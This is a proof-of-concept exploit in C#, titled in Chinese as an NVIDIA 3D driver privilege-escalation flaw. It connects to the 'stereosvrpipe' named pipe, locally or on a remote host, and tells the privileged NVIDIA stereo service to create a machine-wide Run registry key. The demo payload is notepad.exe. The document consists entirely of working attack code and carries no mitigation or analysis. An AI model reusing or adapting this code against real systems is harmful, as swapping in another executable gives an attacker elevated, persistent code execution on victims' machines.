NVIDIA 3D Driver权限提升漏洞

                                                using System;
using System.IO;
using System.IO.Pipes;
using System.Text;

namespace nvSCPAPISvr_CreateMachineRunKey_PoC
{
    class Program
    {
        static void WriteString(BinaryWriter writer, string str)
        {
            byte[] data = Encoding.ASCII.GetBytes(str + "\0");        
            writer.Write(data.Length);
            writer.Write(data);
        }


        static void WriteCommandHeader(BinaryWriter writer, int cmd)
        {
            writer.Write(12);
            writer.Write(0);
            writer.Write(0);
            writer.Write(cmd);
        }

        static void Main(string[] args)
        {
            string hostname = ".";
            try
            {
                if (args.Length > 0)
                {
                    hostname = args[0];
                }

                using (NamedPipeClientStream np = new NamedPipeClientStream(hostname, "stereosvrpipe"))
                {
                    np.Connect();
                    BinaryReader reader = new BinaryReader(np);
                    BinaryWriter writer = new BinaryWriter(np);

                    WriteCommandHeader(writer, 2);
                    WriteString(writer, @"Software\Microsoft\Windows\CurrentVersion\Run");
                    WriteString(writer, @"Awesome");
                    WriteString(writer, @"C:\windows\system32\notepad.exe");
                    writer.Write(1);

                    writer.Flush();
                    reader.ReadInt32();
                    reader.ReadInt32();
                    if (reader.ReadInt32() == 0)
                    {
                        Console.WriteLine("Error: {0}", reader.ReadInt32());
                    }
                    else
                    {
                        Console.WriteLine("Success");
                    }                    
                }                
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
    }
}